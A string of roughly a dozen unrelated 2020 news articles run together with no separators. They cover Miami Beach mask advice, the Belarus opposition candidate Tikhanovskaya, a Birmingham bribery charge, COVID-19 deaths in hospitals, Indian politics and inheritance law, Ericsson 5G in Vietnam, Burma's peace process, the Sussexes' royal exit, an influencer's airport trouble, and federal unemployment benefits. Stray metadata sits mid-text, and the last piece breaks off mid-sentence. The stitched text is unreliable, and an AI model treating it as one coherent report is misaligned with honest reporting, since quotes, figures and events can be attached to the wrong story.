The use of face masks has become the subject of political debate, but the Centers for Disease Control and Prevention recommends them as a barrier preventing the unfettered exchange of respiratory droplets between people when they speak loudly, cough or sneeze. They are especially important, the CDC advises, when social distancing cannot be observed. Miami Beach Mayor Dan Gelber, whose frequent cable news appearances have made him among Floridas most visible government officials during the pandemic, said in a public video address Friday that the recent decreases in new COVID-19 cases and hospitalizations in Miami-Dade should not imply that countermeasures are no longer required. Just wear the damn mask, he said. Its not a political statement. Its a statement that you care enough to make this very modest sacrifice. Share this article Whatsapp Facebook Twitter Linkedin Tatiana Kalinovskaya (Agence France-Presse) Minsk, Belarus Tue, August 11, 2020 10:34 526 6657ac82168da9fa101c8a4066d065c5 2 World Belarus,politics,Alexander-Lukashenko,election Free Stay-at-home-mother Svetlana Tikhanovskaya never thought she would run for president or become the leader of the Belarusian protest movement. But in a tale worthy of Hollywood, in a matter of weeks the 37-year-old has gone from a political unknown to the strongest challenger to Belarus strongman Alexander Lukashenko, who claimed an overwhelming victory in a presidential election on Sunday. Tikhanovskaya says the result of the vote has been rigged and called on Lukashenko to go peacefully and stop using force after police cracked down on protesters. "I consider myself the winner of this election," she said on Monday. Tikhanovskaya said she contested the election to get her jailed blogger husband out of prison and win much-needed freedom for the ex-Soviet country of 9.5 million people. "I love Belarusians and I want to give them an opportunity to have a choice," she said ahead of the vote. Tikhanovskaya, an English teacher by training, only made the decision to stand for president in May. Her husband Sergei Tikhanovsky -- a popular 41-year-old YouTube blogger -- had been detained and could not submit his own presidential bid in time. The electoral commission allowed Tikhanovskaya to stand, dropping two stronger opposition candidates. Despite a lack of political experience, she quickly emerged as the country's top opposition figure, with tens of thousands taking to the streets to support her bid. In speeches, Tikhanovskaya has called herself an "ordinary woman, a mother and wife" and pumped up crowds with calls for change. "I have become the embodiment of people's hope, their longing for change," she told AFP in an interview ahead of election day. She said she was standing despite receiving threats. Her husband has been accused of plotting mass unrest and collaborating with Russian mercenaries, claims Tikhanovskaya has called "very scary." Their five-year-old daughter and 10-year-old son have been taken abroad for their own safety. She said the separation from her children -- including her son who is hearing impaired -- was difficult. Tikhanovskaya stressed that if elected, she would free her husband and other detained opposition figures and hold fresh polls. 'Joan of Arc' Her bid has prompted skepticism from some, while others have compared her to historical heroines. The Village, a Minsk-based news site, called her "an accidental Joan of Arc," the 15th-century French peasant who helped achieve a pivotal military victory against the English before she was burned at the stake. "You're a wife of a Decembrist!" one supporter shouted at a rally, referring to 19th-century aristocrats who followed their husbands into Siberian exile. Hesitant in early television appearances, Tikhanovskaya has won praise for recent speeches. Allocated live slots on state television, she listed alleged lies by Lukashenko's regime, repeating: "They won't show you this on television". "Unexpectedly her first speech on television was strong, without false notes or weak points," wrote opposition newspaper Nasha Niva. Tikhanovskaya's simple but direct speeches have prompted lengthy cheers at crowded rallies. "Are you tired of enduring it all? Are you tired of keeping silent?" she asked supporters recently. "Yes," the crowd roared. She has accused Lukashenko of showing blatant disregard for the people during the coronavirus epidemic, which the strongman has dismissed as a hoax. Tikhanovskaya says that she lacks the "massive charisma" of her husband, who has travelled round Belarus interviewing ordinary people for hard-hitting videos. Charlie's Angels Image-wise, she pulled off a transformation with help from two women with more experience. These are Veronika Tsepkalo, whose ex-diplomat husband Valery Tsepkalo was barred from standing, and Maria Kolesnikova, campaign chief of ex-banker Viktor Babaryko who was also dropped from the polls and is in jail. The two women flanked her at rallies -- with one Belarusian news outlet nicknaming them "Charlie's Angels". The women wore t-shirts with a design featuring their signature gestures: Tikhanovskaya's punched fist, Kolesnikova's fingers in a heart shape and Tsepkalo's victory sign. Tikhanovskaya grew up in Mikashevichi, a small town south of Minsk. With top grades she studied to become a teacher of English and German in the historic city of Mozyr. It was there she met her future husband, who owned a nightclub. Updated at 9:50 p.m. to add a comment from the city of Birmingham. A Birmingham building inspector now faces a felony ethics violation after officials say he accepted payment in exchange for approving a building inspection, Attorney General Steve Marshalls office announced Tuesday. Thomas Edward Stoves, 41, who is employed by the City of Birminghams Planning, Engineering and Permits office, solicited and accepted a payment of $1,200 in exchange for a approving the building inspection in August 2016, the AGs office said in a statement. Tuesday night, city officials said Stoves has been placed on administrative leave pending an investigation. Stoves is charged with violating State ethics law by using his public position for personal gain. The AGs office obtained a warrant for Stoves arrest on Monday. Stoves surrendered to the Jefferson County Sheriffs Office on Monday and was later released on bond. The use of office for personal gain is a class B felony, punishable by up to 20 years in prison. Marshall said he is grateful for the Birmingham office of the Federal Bureau of Investigations assistance in the case. Further information about the charges -including the building involved or the person offering the money - were not immediately available. For many people who died of coronavirus, the suffering of their final days was accompanied by the pain of dying alone and isolated from their families, a new study reveals. The odds that a US COVID-19 victim who died between February and May this year would do so in hospital were 11.5-times higher than the odds of dying in a hospital of any cause during the same period in 2018, according to Northwestern University research. During that time period in 2020, nearly 70 percent of people who succumbed to COVID-19 died in hospitals or other medical facilities. Another 23 percent died in nursing homes. And the researchers believe many of these victims were likely nursing home patients transferred to hospitals, given the high death toll of coronavirus among elderly Americans. Long term care facilities and hospitals alike had to impose restrictions on visitors to reduce the spread of coronavirus, which likely meant loved ones could not be at the sides of these dying patients in their final days and hours. Now, nursing homes are warning of another spike in infections as coronavirus spreads in new hotspots - and it could mean another wave of excruciatingly lonely deaths and losses for thousands of families. 'A loved one dying alone takes a huge mental toll on families,' said lead study author Dr Sadiya Khan. 'it impairs the familys ability to grieve and cope with the loss [and], for patients, weve all thought about how terrible it would be to have to die alone. This is the horror happening to thousands of people in medical facilities where no family member or loved one is able to be present with them during their final moments on earth.' Between February and March, 2020, 70% of Americans who died of COVID-19 spent their final days in hospitals (red, far left), likely alone, compared to just 35% percent of people who died of any cause in 2018 (blue), new Northwestern University research reveals Americans ar 12 times more likely to die in hospitals of COVID-19 this year than they were of any cause in 2018, a new study reveals - and it means many spend their final days alone (file) Every year, Americans die alone in hospitals or nursing homes, rather than in the comfort of home, surrounded by family and friends as most people hope. These deaths in isolation are still common, but much less so, in a typical year. According to the Northwestern University researchers' analysis of Centers for Diseases Control and Prevention (CDC) data, about 36 percent of deaths by any cause in the same time period of 2018 (the most recent year for which the agency has complete data) occurred in medical facilities. Another 19 percent of Americans died in nursing homes and about eight percent died in hospice facilities that year. Nearly a third (31 percent) of all people who died that year in the US did so at home, where most people say they'd like to be when they reach the end of their lives. But 2020 has not been a typical year. Since February 1, there have been as many as 212,979 'excess deaths' - that is, fatality counts beyond what would be expected in a typical year - according to CDC data (which is also notorious for undercounting such deaths). Nursing homes and hospitals have imposed restrictions on visitors in an effort to preserve their low stocks of PPE and keep coronavirus from spreading - but Northwestern University researchers warn of the danger of trauma for families and poor quality end-of-life care for people who become fatally ill with the virus (file) And hospitals that would normally call families and ask them to come quickly to the hospital to be by their loved one's side as the end neared, often cast aside that protocol for a new one. As coronavirus has swept the nation, particularly earlier this year when the threat of shortages of personal protective equipment (PPE) like masks, gloves and aprons was dire, hospitals had to take every measure to keep the virus from spreading while ensuring that staff attending to COVID-19 patients were protected. If they could barely provide PPE for their own personnel, many felt they certainly couldn't provide it to visitors, and without protection, they equally couldn't risk more people catching coronavirus as patients threatened to overwhelm the health care system in places like New York City. Nursing home faced a similar threat. Coronavirus has spread like wildfire among elderly residents who are more vulnerable to infection and indeed to deadly infection if they catch coronavirus. Experts are warning of an impending rise in coronavirus cases in US nursing homes, which could mean extensions of isolating visitor restrictions and, eventually, a rise in lonely deaths in these homes. Pictured: a staff member at Southern Pines nursing home in Georgia where cases are spiking, helps a resident with her lunch (file) Some states have been hit particularly hard. The Northwestern team found that 60 percent of people who died of coronavirus in Minnesota died in nursing homes. Only eight percent of New Yorkers died at home. 'High rates of nursing home deaths in several states reveal a highly vulnerable population and the inability to optimize resources such as PPE (personal protection equipment) to prevent infection transmission these high-risk locations,' said lead study author Dr Sadiya Khan, a physician at Northwestern. 'Its especially important as nursing homes are reopening to visitors and may be exposing residents, especially in areas where there are increasing rates of cases.' On Tuesday, the American Health Care Association and National Center for Assisted Living (AHCA/NCAL) warned that those spikes in cases are imminent. The groups have written to the National Governors Association, warning that in many of the 33 states where more than five percent of coronavirus tests are coming back positive, nursing homes are vastly underprepared. Nursing homes in these places are on the cusp of PPE shortages, and are reporting slow test turnaround times. If unaddressed, these combined issues will almost certainly lead to more deaths in these facilities. 'While recent research shows US deaths in medical facilities are decreasing and deaths at home and in hospice facilities are increasing, the burden of deaths attributed to COVID-19 may reverse these overall trends,' said study co-author and Northwestern cardiovascular medicine fellow Dr Sarah Chuzi. Vijayawada, Aug 11 : The newly appointed president of the Andhra Pradesh unit of the BJP, Somu Veerraju officially took charge on Tuesday. Outgoing president Kanna Lakshminarayana handed over responsibilities to Veerraju at a function attended by party bigwigs Ram Madhav, and Sunil Deodhar. The participants observed a moment in silence in the memory of the victims of the tragic fire accident at a Covid care centre here on Sunday. Speaking on the occasion Somu Veerraju alluded to the current political scenario in the state saying it is dominated by family-owned parties. He said the need of the hour is a political party with a nationalistic outlook. He asserted the BJP's commitment to the farmers who handed over their lands for the sake of the capital city in Amaravati but now face a bleak future following the YSRCP government's decision to have three state capitals. "To the farmers in the Amaravati region, BJP is saying only one thing, the state government should develop the 64,000 plots there. All the facilities promised in the past should be implemented immediately. Cases have been foisted against several people, they should all be re-examined. In the next elections, BJP-Janasena alliance will come to power in Andhra Pradesh. We will develop that area. It is our commitment." Veerraju said. The BJP national general secretary Ram Madhav said that the party should fight corruption in the state and work hard to come to power in the 2024 assembly elections. The Supreme Court on Tuesday ruled that daughters will have equal coparcenary rights in joint Hindu family property even if the father died before the Hindu Succession (Amendment) Act 2005. Professor Dr Faizan Mustafa, vice-chancellor of NALSAR University of Law, spoke to News18.com after the three-judge bench passed the verdict, as he credited the Manmohan Singh government for initiating the reform while saying there was more to be done. Excerpts: What is the significance of this ruling and the big takeaways? The law was there from 2005. It was a major reform introduced by UPA I. UPA was a rights regime that created several entitlements through progressive laws. There was some controversy about the daughters who were born before September 9, 2005, the day the law came into force and whose fathers were dead by that date. There were conflicting judgments. It seems the court has now held that Hindu daughters even in such cases will now inherit Hindu Undivided Family (HUF) properties. The credit for the reforms must go to the Manmohan Singh government. The Supreme Court passed the verdict while hearing a clutch of appeals that raised the issue of whether the amendment granting equal rights to daughters to inherit ancestral property would have retrospective effect. What does the case reveal about our society that doesnt make women coparceners in their own right? Classical Hindu law did not give any share to daughters. Hindu Succession Act was opposed by the Hindu Right. BR Ambedkar as law minister had to resign and the code could not be passed as one law. The 1955 Act gave daughters equal share to sons in self-acquired properties. The 2005 amendment extended it to ancestral properties as well. In spite of these laws, women's share in ownership of land is extremely low. 87% of our women do not own any land. How did the lack of retrospective effect disempower the Hindu women, as in Prakash vs Phulavati, the Supreme Court made a womans entitlement to her parents property dependent on the fathers life? The Prakash judgment had overruled the pro-women progressive judgment of the Karnataka High Court, which had given retrospective operation to Section 6 and the SC observed that there is no express provision in the amendment that provides for the retrospective operation of the progressive amendment and nor such an intention can be inferred. When it comes to equality between son and daughter, our society is the same in practising discrimination irrespective of religion. Would like to know if you see parallels in discrimination over property rights for Muslim women as well. How are struggles for empowerment similar or different for both Hindu and Muslim women? Muslim women in pre-Independence era were at least getting half of their brothers' share. They were also inheriting as wife and mother. In fact, the highest category of heirs in Islam are Quranic heirs. Out of 12 such heirs, nine are female and the son is not there. The son is a category two heir, though, if he is there, he does pull down his sister and share property in 1:2 ratio. Thus the problem was more serious for Hindu women. But as and when Uniform Civil Code (UCC) is drafted, equal share would be given to daughters as well. What are the other pressing issues that remain to be addressed for establishing equality of daughters and sons in a Hindu family? Hindu law has largely been reformed, though there are areas that still require a relook like kanyadaan and absolute testamentary powers of father; by invoking it, the father can completely deprive a daughter from inheritance and give his entire property to the son/s. Denis Brunetti, president of Ericsson Vietnam, Myanmar, Cambodia, and Laos Looking beyond the pandemic, many countries would like to kickstart their economies with investments in innovation. How can 5G and Industry 4.0 spur the new digital economy in Vietnam? The promise of 5G and Industry 4.0 includes creating jobs and improving and expanding access to healthcare. It will also help reduce carbon emissions, improve education, and raise the quality of life around the world. In a research with Imperial College London, we proved that the deployment of mobile broadband networks spurs economic development as a 10 per cent increase in mobile broadband adoption ratio leads to a 0.8 per cent increase in GDP, with large and rather quick payback. As did 4G, 5G offers significant advantages to early movers. Ericssons advanced and competitive 5G portfolio can provide service providers in Vietnam with 5G solutions to cost-efficiently manage growing data traffic volumes. 5G will also enable Vietnam to unlock the potential of Industry 4.0 and will be the foundation for its digital transformation journey by increasing investments in smart manufacturing capabilities and driving higher, sustainable production and growth. By wisely focusing on hi-tech, innovation, and embracing Industry 4.0 through 4G narrowband-Internet of Things (IoT) and 5G capabilities, Vietnam is well on its way to creating a digital ecosystem that will attract high-tech foreign investment and drive inclusive and sustainable socioeconomic development. 5G will favourably impact many industries, including manufacturing, agriculture, and retail. As an example, the growing retail industry will increasingly leverage e-commerce solutions and platforms to reach more customers efficiently and cost effectively, providing improved services and shopping convenience via mobile connectivity. Coupled with Vietnams National Innovation Centre initiative, the governments investment in sustainably growing the nations startup ecosystem will also contribute to the establishment of a thriving digital economy leveraging 5G as the enabling platform. Like many others, Vietnam is taking bold steps to apply digital solutions. How can 5G and digitalisation benefit smart factories? 5G has already gone live in several markets and people are getting a first-hand experience of the technology. At Ericsson, we have already deployed 5G in 54 live networks across the world and we are seeing a rapid uptake. Use cases like smart manufacturing, smart cities, and advanced healthcare applications demonstrate 5Gs potential to transform industries and society at large. While testing 5G technology, we have adopted it and digitalised Ericssons own production operations. With Nordic telecom operator Telia, we have brought automated guided vehicles, augmented reality, and a huge number of sensors to our manufacturing facility in Tallinn of Estonia, via a dedicated cellular network. In the US, our first fully-automated smart factory is powered by Ericsson 5G solutions that support agile operations and flexible production, enabling Industry 4.0. Another good example is Daimlers Factory 56 the worlds first 5G-enabled automobile factory. All production systems and machines in the newly-built facility will be connected and operated via a secure 5G private network built by Telefonica and Ericsson. Private 5G networks like this one are able to provide a high level of security due to the inherent strengths of mobile networks. For many enterprises, the immediate value of 5G lies not in high speed and low latency. Instead, it is reliability, real-time positioning, security, and privacy often via network slicing that matters the most. Across 10 studied industries, we estimate that digitalisation will generate an addressable opportunity of up to 35 per cent on top of currently available services. By 2025, there will be about 25 billion connected IoT devices and more than 5 billion devices using edge computing. A number of mobile service providers in Vietnam are preparing for the commercial launch of 5G. How can Ericsson 5G technology support this journey? As a trusted and long-term strategic partner in Vietnams ICT industry, Ericsson is committed to working alongside leading mobile service providers such as Viettel, VNPT, Mobifone, and Vietnamobile to expand 4G network coverage and capacity whilst also preparing for the commercialisation of 5G. Ericsson has been supporting Vietnamese mobile providers with technical 5G trials since 2019, leveraging our technology leadership, strategic partnerships, and expansive 4G base which can seamlessly be upgraded to 5G capabilities when required. We are proactively working with mobile service providers to ensure Vietnam is at the forefront of 5G developments, sharing our technical capabilities, market insights, and thought leadership. In addition, Ericsson also recognises the need to lead the market in forging strategic 5G ecosystem partnerships that include cross industry players, bringing them together with mobile service providers to deliver compelling digital transformation engagements. For instance, Ericsson has teamed up with Telefonica Germany to enable 5G car production via a private network for Mercedes-Benz as digitalisation becomes a reality in car production. We are currently exploring similar opportunities in Vietnam. Ericsson is working with Vietnams mobile network operators to expand 4G IoT capabilities across the country, as well as preparing for future 5G capabilities and the broader IoT ecosystem. Through our mobile network technology and innovations, Ericsson supports and promotes the governments vision of leveraging science, technology, and innovation to drive the next wave of socioeconomic development in Vietnam. Commentary Burmas Misguided Peace Process Needs a Fresh Start On Saturday in Rangoon, activists from 27 civil society organizations staged a protest against continued fighting between the Burma Army and ethnic armed groups. / Myo Min Soe / The Irrawaddy The Burmese governments peace parley, dubbed the 21st Century Panglong, in Naypyidaw at the end of August was hardly over before the Tatmadaw went on the offensive again. Fierce fighting has been reported from Kachin State and northern Shan State. In Karen State, clashes have erupted between different local armed groups and in eastern Shan State, the powerful United Wa State Army (UWSA) has moved against what was considered a close ally, the National Democratic Alliance Army (Eastern Shan State) (NDAA[ESS]), also known as the Mongla Group, and took over several of its positions. It is not a peace process, one observer said. Its a conflict process. The ultimate irony is that Burma has seen its heaviest fighting in decades, since the Thein Sein government came to power in March 2011 and launched its so-called peace process. Most of the fighting has occurred in Kachin and northern Shan states, with sporadic clashes in Arakan and Karen states. Burmas civil war has not been this intense since the Tatmadaw launched offensives against ethnic Karen and communist forces in the late 1980s. The conflict never seems to end despite, or perhaps because of, the activities of foreign peacemakers. A popular practice has been to invite representatives of the Tatmadaw and of ethnic armed groups on study tours to other conflict areas across the world, including Northern Ireland, Colombia and South Africa. The main player behind those trips is a UK-based outfit called Intermediate, founded and led by Jonathan Powell, who served as then Prime Minister Tony Blairs chief of staff from 1997-2007. But the value of such trips is being questioned. A foreign analyst based in Burma described an endless parade of international peace junkets that preoccupy ethnic leaders while the actual negotiations are bogged down. Meanwhile, addressing ongoing conflict is cast as spoiling progress. The government of Switzerland has also been active, inviting some ethnic leaders from Burma to study how their model of federalism works, although it is hard to imagine how the Swiss canton system could possibly be a model for Burma. Invited were representatives of the Restoration Council of Shan State (RCSS), one of eight groups that signed the so-called Nationwide Ceasefire Agreement (NCA) with the government on Oct. 15 last year (only three of which actually have any armed forces, the other five being token armies with only a dozen or so men each). IHS Janes analyst Anthony Davis wrote in the Bangkok Post on Feb. 7 this year: History does not relate how this all-expenses-paid flight of fancy cost the Swiss taxpayer, though it was doubtless small change in the wider picture of the tens of millions of dollars being thrown at the peace process by Western governments eager to declare Myanmar (Burma) finally and officially open for business. At the same time as RCSS representatives were being entertained in Switzerland, truckloads of its troops were sent to northern Shan State to fight the Taang National Liberation Army, an ethnic Palaung force that did not sign the NCA. Peace with the government enabled the RCSS to move its soldiers across Shan State to engage in what Davis termed a proxy war. The UWSAs military action against NDAA(ESS) is another divisive consequence of the peace process. The UWSA reportedly suspected that the NDSS(ESS) leadership was about to close ranks with the groups that signed the NCA. One of its representatives at the talks in Naypyidaw in August even urged all parties to recognize the 2008 Constitution, which is widely seen as undemocratic because it gives the military ultimate power over the stateand is certainly not federal in character, which is what the ethnic armed groups are fighting for. It is clear that the foreign players in the process need to seriously rethink their strategies, if they need to be involved at all. According to the Burma-based analyst: Its like a growing conga-line of craven opportunists, who think their analysis and workshops should be privileged over listening to the people who have suffered for six decades. Its not a peace process, its a parallel reality peopled by shady foreign actors whose pedigree is largely a litany of failed efforts in other countries. A Burmese human-rights worker cynically referred to recent developments as a peace opera. One might add that it is an opera where too many divas aspire to be the lead performer, and no one wants to sing in the choir. Instead of studying processes in other countries which bear little or no resemblance to Burmas decades-long ethnic and political conflicts, it would be much more useful to examine Burmas own past experience of peace effortsand why all those, without exception, have failed to end the war. In 1958, when Gen. Ne Win took over from the elected government led by U Nu and formed a military-controlled caretaker government, some communist and ethnic rebels laid down their arms under an unofficial amnesty. No political concessions were offered. Some became bands of local armed men engaged in trade. When the military stepped in again on March 2, 1962 and seized absolute power after a short interregnum with a new civilian government led by U Nu, the new junta promised serious peace talks. These commenced in 1963 and attracted a wide range of ethnic and political rebels. But, again, the ruling military demanded surrender, offering nothing more than rehabilitation. Unsurprisingly, the talks broke down. Some old and new armed bands were converted into home guard units called ka kwe ye (KKY), but there was not enough money in the central coffers to pay them, so they were allowed to trade in opium to finance themselves. Both Lo Hsing-han and Zhang Qifu (alias Khun Sa) began their careers as government-allied home guard commanders and, as a result, became prominent drug traffickers. They were arrested only after they had established links with armed rebels in Shan State, which they had to do in order to convey their opium convoys down to the Thai border. The KKY project was abandoned in Jan. 1973. New local forces called pyi thu sit, or peoples militias, were formed in their stead. They were smaller than the old KKY units and therefore easier for the government to control. In 1980, the government announced a general amnesty for rebels and political prisoners. Officially, 1,431 rebels surrendered. This figure was, most likely, a gross exaggeration, but the amnesty led to the demise of the rightwing Burman insurgency led by U Nu from the Thai border. At the same time, separate peace talks were held with the Communist Party of Burma (CPB) and the Kachin Independence Army (KIA). The talks lasted for months, but the governments offer was again rehabilitation in exchange for surrender. Needless to say, those talks broke down as well. After the 1988 pro-democracy uprising and the seizure of power by the State Law and Order Restoration Council (SLORC), thousands of urban dissidents linked up with the Karen National Union (KNU), the KIA and other ethnic armies. But those groups had only a few guns to spare for the Burman activistsunlike the CPB, which had warehouses full of weaponry, supplied by China between 1968-78. However, few pro-democracy activists went to the CPBs area. The situation changed when, in March-April 1989, the hilltribe rank and file of the CPB rose in mutiny against the partys ageing, predominantly Burman leadership. The CPB subsequently broke up into four ethnic armies: the UWSA, the NDAA(ESS), the Myanmar National Democratic Alliance Army based in the Kokang region of northern Shan State, and the New Democratic Army-Kachin in Kachin State. Now, the SLORC faced the real danger of a united front. But the Burmese military acted faster and with more determination than the loose alliances that then existed between ethnic rebels and urban dissidents. The ex-CPB mutineers were offered ceasefire deals and promised unlimited business opportunities. As a result, all four former CPB forces made peace with the government. The threat from the border had been neutralizedbut the consequences for the country were disastrous. Business in the northeastern border regions means the production of opium and its derivative heroin. As a result, the area under opium cultivation rose from 103,200 hectares in 1988 to 161,012 hectares in 1991. According to official US figures, annual heroin production skyrocketed during the same period from 68 tons to 185 tons, of which 181.5 tons were meant for export. With the collapse of the CPB and the failure to form new alliances, about two-dozen ethnic armed groups, both large and small, entered into ceasefire agreements with the government in the late 1980s and early 90s. Several of those groups became involved in logging. Vast areas of northern Burma were denuded and the timber sold to China. So, agreeing ceasefires with ethnic armed groups is nothing newits a continuation of the policy of the long-defunct SLORC. But not all the ceasefire agreements agreed upon at that time have been honored. The KIA, which actually signed a ceasefire agreement in 1994 (all the previous agreements being verbal), came under fierce attack in 2011 and the fighting still continues. The Shan State Army, which made peace with the government in 1989, came under attack shortly afterwards. The common denominator in all these talks and maneuvers, including those of today, is that the government and the military have either demanded surrender followed by rehabilitation, or, failing that, attempted to corrupt them by allowing them to engage in business of any kind. Following the Oct. 15, 2015 ceasefire deal, leaders of the RCSS and the KNU have benefited from new, lucrative commercial opportunities, including in logging and palm oil plantations. Sadly, the present government, which came to power with a resounding popular mandate after the Nov. 2015 general election, has only continued the policies of the previous government. This has included the insistence that everybody sign the so-called Nationwide Ceasefire Agreement, which is not nationwide and has resulted neither in peace nor in meaningful talks about which governing system the country should adopt: a federal union or a centralized state structure. Military spokesmen, meanwhile, have made it clear that all parties to the conflict must accept the 2008 Constitution and lay down their arms, with the option of becoming pyi thu sit forces and benefitting economically. It is hardly a secret that well-known pyi thu sit commanders, who traffic drugs, were elected to national and regional assemblies in the 2010 election, usually on Union Solidarity and Development Party tickets. The drug trade today is controlled by those individuals and groups, not by the UWSA, the MNDAA or the NDAA(ESS), which built their fortunes on drugs but have since moved into other enterprises such as casinos, cross-border trade in consumer goods, and the export of tin and rare earth metals to China. The difference this time from previous failed peace efforts is the number of foreign groups and individuals involved, bitterly competing with each other for funds and attention. But, as a Rangoon-based foreign analyst said, The international interlocutors are actually facilitating the Tatmadaws hardline approach by refusing to understand the grievances of Burmas minority communities, saying its all about business and economic interestsan oft-repeated cliche of Rangoon-based Western diplomats. Receiving foreign advice and learning from other countries experiences are not entirely wasted exercises, but the shape and form that foreign input has taken in Burmas so-called peace process has not led us anywhere close to lasting peace. On the contrary, it has made the situation worse by granting the Tatmadaw an international respectability and legitimacy that it previously lackedat the expense of armed and non-armed ethnic groups and communities. It should be evident to anyone that an entirely new approach is needed, if the vicious circle of talks with demands of unconditional surrender and rehabilitation coupled with business concessions is ever going to be broken. Such an approach would have to include a genuine political dialogue, not just meetings with dozens of ethnic representatives sitting in their colorful costumes in a huge hall listening to speeches, as was the case in Naypyidaw in August. The fighting also has to stop on all fronts. Only then can a meaningful peace process beginnot merely a repeat of what happened in the 1950s, 60s, 70s, 80s and 90s. Burmas ethnic conflict is a political problem demanding a political solution. The present peace opera is only a recipe for further disaster. Did the monarchy fail Prince Harry and Meghan, Duchess of Sussex, leading them to leave behind their royal duties? Finding Freedom co-author Omid Scobie believes that the royal family could have provided a better support system for the Sussexes. Prince Harry and Meghan Markle | Pool/Samir Hussein/WireImage Prince Harry and Meghan Markle left their royal duties Prince Harry and Meghan dropped a bombshell in January when they announced their plan to take a step back from their royal duties. When Queen Elizabeth called a meeting to discuss their proposal, it was decided that the Sussexes would make their official exit from the royal family in March and give up their HRH titles as well as any public funding. At the time, Prince Harry expressed his heartbreak over not being able to strike a more half-in/half-out arrangement that would allow them to split their time between the UK and North America. The decision that I have made for my wife and I to step back is not one I made lightly, Prince Harry said in a speech at the time. It was so many months of talks after so many years of challenges. And I know I havent always gotten it right, but as far as this goes, there really was no other option. He noted that while they had hoped to continue serving the queen, their request couldnt be fulfilled. Ive accepted this knowing it doesnt change who I am or how committed I am, but I hope it helps you understand what it had come to, that I would step my family back from all I have ever known to take a step forward into what I hope can be a more peaceful life, he explained. RELATED: The Royal Family Hated Giving Up Control of Prince Harry and Meghan Markle, Expert Claims Royal expert believes that race did play a role in their decision The couple found the negative media attention that accompanied their life in the spotlight to be overwhelming and part of that, Scobie told Good Morning America, was the way racism played a part in the scrutiny. In terms of ticking those boxes that may ruffle feathers within an ancient institution such as that of the monarchy, she had really ticked all of them, Scobie explained. Race did play a role. Part of the issue, Scobie said, is that Meghan didnt feel comfortable in the royal family. He shared his own experience as an example. I myself have also had moments as a bi-racial royal correspondent within the institution. Ill never forget the moment an aide, or a senior aide close to the queen, said to me, I never would have expected you to speak like that, and that level of ignorance I think perhaps made it very difficult for Meghan, the author noted. Explosive new book about Harry and Meghans royal exit. @scobie, co-author of #FindingFreedom, gives our @DebRobertsABC an inside look at the couples side of the story. https://t.co/X8P82x9Dsv pic.twitter.com/L9fkvvAPGA Good Morning America (@GMA) August 10, 2020 The Sussexes were failed by the monarchy, expert claims Prince Harry and Meghans departure from the family, Scobie explained, might have been prevented if they had not been failed by the monarchy. If the monarchy had shown an acceptance of the diversity Meghan brought to the family, it would have been an opportunity for the institution to evolve. History will remember them as a couple that were perhaps failed by the institution of the monarchy, where there was this chance to have a woman of color, an American woman of color, in the house of Windsor representing the monarchy just as much as her husband, Scobie explained. He added, That was a chance for the royal family to have diversity, inclusivity, and representation in a way that no other moment in their lives could have brought and for them to not have harnessed that is something that Im sure historians will be looking at for years to come. They had no choice other than to leave because they both knew that it wasnt going to continue should they just carry on as they were, Scobie noted. Love Island star Molly-Mae Hague launched an impassioned rant against easyJet staff on Monday after nearly missing a flight to Greece amid COVID-19 pandemic. The influencer, 21, took to Instagram to detail her Gatwick Airport experience, in which she had failed to correctly fill in the required Passenger Locator Form (PLF) in the right time frame, yet was thankfully saved by her sister's form. While the reality personality conceded that the entire incident was her 'own fault', she did however warn fans that the coronavirus restrictions are 'SO STRICT' and urged followers to fill in their forms on time. Fuming: Love Island star Molly-Mae Hague launched an impassioned rant against easyJet staff on Monday after nearly missing a flight to Greece amid the COVID-19 pandemic Molly-Mae was jetting to meet her co-star boyfriend Tommy Fury and their fellow Islander Maura Higgins in Greece when the incident happened. As she chronicled her woes to her 4.4million followers, she posed for a selfie with her sister and wrote: 'Never had a more stressful airport experience in my life. 'If you're flying to Greece/Crete or anywhere you need a QR code then please please please make sure you do it 48 hours before your flight. 'I did mine last night and when I arrived at the airport, I was told I wasn't allowed to fly today, luckily my sister had put me on the 'notes' section of her QR code form and it meant I was allowed to fly... Finally! The influencer, 21, took to Instagram to detail her Gatwick Airport experience, in which she had failed to correctly fill in the required Passenger Locator Form (PLF) in the right time frame, yet was thankfully saved by her sister's form All white? When she finally arrived in Greece she snapped selfies in a PrettyLittleThing look '(shoutout to the group of people who asked for a pic and told us that this wasn't allowed!) I had literally booked my car home and was sending Zoe by herself. 'It is SO STRICT and the @easyjet staff were so so unhelpful and rude. Admittedly this was my fault however there is nothing on the website that tells you about a time frame. 'I felt so bad for all the family's and couples that were in the same position as me but hadn't done the notes section thing so I just wanted to warn everyone!!!' Restrictions: The easyJet website provides instructions for each country still being flown to, in which it is illustrated what must be done before travelling Linked: The website connects through to the Greece tourist board website A spokesperson for easyJet told MailOnline: 'Like all airlines, easyJet is currently required by the Greek authorities to ensure that all passengers travelling from the UK to Greece are able to present verification of a completed health declaration form to be able to travel. 'We know that this is different to how many of our customers are used to travelling, which is why we are providing clear guidance on what customers must do to prepare for their flight and are notifying them of any requirement to complete a health declaration form when booking and ahead of their trip via email, SMS and via our Flight Tracker. Customers are also alerted to the importance of checking any current travel requirements on our easyJet.com homepage and direct links to all relevant forms can be found via our Know Before You Go information pages at easyJet.com. 'Our ground crew aim to provide the highest levels of customer service and as such are required to ensure that our passengers have the necessary documentation from the relevant authorities so that they can travel and enter their destination without issue.' But Brits desperate for a foreign break have set their sights on destinations in Greece, such as Crete, Corfu and Santorini, as reported by The Sunday Telegraph. Stunning: When Molly-Mae had arrived, on Tuesday morning she shared stunning snaps and videos of the idyllic location of their stay The easyJet website provides instructions for each country still being flown to, in which it is illustrated what must be done before travelling. When Molly-Mae had arrived, on Tuesday morning she shared stunning snaps and videos of the idyllic location of their stay. Her trip comes after it was revealed that British holidaymakers are gambling on trips to Greece instead of Spain, despite an increase in coronavirus cases in the country - as fears grow of a second spike in France. The government changed travel advice required people who return from Spain to England to quarantine for two weeks, devastating tourists looking forward to their summer holiday. Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe Our news is free on LAist. To make sure you get our coverage: Sign up for our daily coronavirus newsletter. To support our nonprofit public service journalism: Donate now. Over the weekend, President Trump issued an executive order that would partially replace the $600 in weekly federal unemployment benefits that expired last month. But it's not clear the state will go along with Trump's plan. And even if it did, many Californians would not be eligible for the benefits. NEWSOM SAYS CALIFORNIA CAN'T AFFORD TRUMP'S PLAN Trump's order would provide unemployed workers $300 per week in federal benefits. States would have to chip in an additional $100 to bring the total to $400 per week on top of whatever people are already receiving in state benefits. Governor Gavin Newsom said in a news conference on Monday 